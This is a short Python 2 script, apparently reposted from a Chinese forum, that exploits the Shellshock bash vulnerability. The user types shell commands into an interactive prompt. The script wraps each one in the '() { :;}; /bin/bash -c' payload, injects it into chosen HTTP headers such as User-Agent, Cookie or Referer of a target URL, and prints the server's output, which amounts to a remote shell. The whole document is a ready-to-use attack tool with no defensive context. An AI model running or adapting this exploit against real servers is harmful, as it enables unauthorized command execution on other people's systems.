[Python] 纯文本查看 复制代码 #!/usr/bin/env python
# -*- coding=utf-8 -*-
#sex8#
import sys
import argparse
import urllib2
def main(args):
try:
while True:
cmd = raw_input('$')
if cmd.strip() == 'exit':
break
injection = "() { :;}; echo \"Content-Type: text/html\"; echo; printf; /bin/bash -c \"" + cmd + "\""
request = urllib2.Request(args.URL)
if args.u:
request.add_header("User-Agent", injection)
if args.a:
request.add_header("Accept", injection)
if args.l:
request.add_header("Accept-Language", injection)
if args.e:
request.add_header("Accept-Encoding", injection)
if args.c:
request.add_header("Cookie", injection)
if args.x:
request.add_header("X-Forwarded-For", injection)
if args.r:
request.add_header("Referer", injection)
result = urllib2.urlopen(request).read()
print result.strip()
except:
print sys.exc_info()[1]
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-u', action='store_true', help=' User-Agent Parameter!!')
parser.add_argument('-a', action='store_true', help=' Accept Parameter !!')
parser.add_argument('-l', action='store_true', help=' Accept-Language Parameter !!')
parser.add_argument('-e', action='store_true', help=' Accept-Encoding Parameter!!')
parser.add_argument('-c', action='store_true', help='Cookie!!')
parser.add_argument('-x', action='store_true', help='X-Forwarded-For Parameter!!')
parser.add_argument("-r", action='store_true', help='Referer parameter!!')
parser.add_argument("URL", help="Shellshock vulnerable URL")
args = parser.parse_args()
main(args)
|